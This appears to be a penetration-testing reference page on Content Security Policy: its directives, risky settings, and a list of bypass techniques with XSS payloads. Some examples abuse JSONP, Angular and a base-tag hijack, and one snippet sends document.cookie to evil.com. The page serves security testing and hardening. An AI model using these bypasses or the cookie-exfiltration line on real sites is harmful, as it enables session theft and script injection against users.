Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
CSP controls which resources the browser can load. Misconfigured CSP allows XSS, data exfiltration, and script injection despite having a policy in place.
Check CSP
curl -s -I https://TARGET | grep -i "content-security-policy"
Online Analyzer
https://csp-evaluator.withgoogle.com/
Key Directives
| Directive | Controls |
|---|
default-src | Fallback for all resource types |
script-src | JavaScript sources |
style-src | CSS sources |
img-src | Images |
connect-src | XHR, fetch, WebSocket |
font-src | Fonts |
object-src | Plugins (Flash, Java) |
media-src | Audio, video |
child-src | Web workers and nested contexts |
worker-src | Worker, SharedWorker, ServiceWorker |
frame-src | Iframes |
frame-ancestors | Who can iframe this page |
base-uri | Restricts <base> tag |
form-action | Form submission targets |
sandbox | Restricts page actions (scripts, forms, popups) |
report-uri | Where to send violation reports (deprecated) |
report-to | CSP Level 3 reporting endpoint |
default-src does NOT cover frame-ancestors, form-action, or base-uri — these must be set explicitly.
CSP via <meta> tag cannot enforce frame-ancestors, sandbox, or reporting directives. Use HTTP header instead.
Source Values
| Value | Meaning |
|---|
'none' | Block everything |
'self' | Same origin only |
'unsafe-inline' | Allow inline scripts/styles |
'unsafe-eval' | Allow eval(), setTimeout('string') |
'nonce-xxx' | Allow scripts with matching nonce |
'sha256-xxx' | Allow scripts matching hash |
'strict-dynamic' | Trust scripts loaded by already-trusted scripts (ignores host allowlists) |
'unsafe-hashes' | Allow specific inline event handlers by hash |
* | Allow everything |
data: | Allow data: URIs |
blob: | Allow blob: URIs |
https: | Any HTTPS source |
*.domain.com | Wildcard subdomain |
'unsafe-inline' is ignored when a nonce or hash is present (CSP2+).
Dangerous Configurations
unsafe-inline (XSS Possible)
Content-Security-Policy: script-src 'self' 'unsafe-inline'
<script> tags and event handlers work:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
unsafe-eval
Content-Security-Policy: script-src 'self' 'unsafe-eval'
<script>eval('alert(1)')</script>
Wildcard
Content-Security-Policy: script-src *
Content-Security-Policy: default-src 'self'; script-src https:
Missing Directives
No script-src → falls back to default-src. No default-src → no restriction.
Content-Security-Policy: style-src 'self'
# No script-src, no default-src → scripts unrestricted
Bypass Techniques
JSONP Endpoints
If CSP allows a domain with JSONP:
Content-Security-Policy: script-src 'self' https://accounts.google.com
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
CDN / Whitelisted Domain
If CSP allows a CDN you can upload to:
<script src="https://cdn.jsdelivr.net/gh/attacker/repo/evil.js"></script>
Angular + unsafe-eval
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
base-uri Missing
<base href="https://evil.com/">
<!-- All relative script paths now load from evil.com -->
Nonce Reuse / Prediction
If nonce is static or predictable:
<script nonce="KNOWN_NONCE">alert(1)</script>
object-src Missing
<object data="data:text/html,<script>alert(1)</script>"></object>
Data URI (If data: Allowed)
Content-Security-Policy: script-src 'self' data:
<script src="data:text/javascript,alert(1)"></script>
Exfiltration via Allowed Destinations
If connect-src or img-src allows external:
<script nonce="valid">
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
<!-- Or via img -->
<img src="https://evil.com/steal?data=leaked">
CSP Report-Only
Content-Security-Policy-Report-Only: ...
Quick Reference
| Issue | Why Dangerous |
|---|
unsafe-inline | Inline XSS works |
unsafe-eval | eval() works |
* or https: | Load from any domain |
Missing script-src | Falls to default-src or none |
Missing base-uri | <base> hijack |
Missing object-src | Plugin-based XSS |
| JSONP on allowed domain | Callback parameter = arbitrary JS |
data: in script-src | data: URI scripts execute |
Sources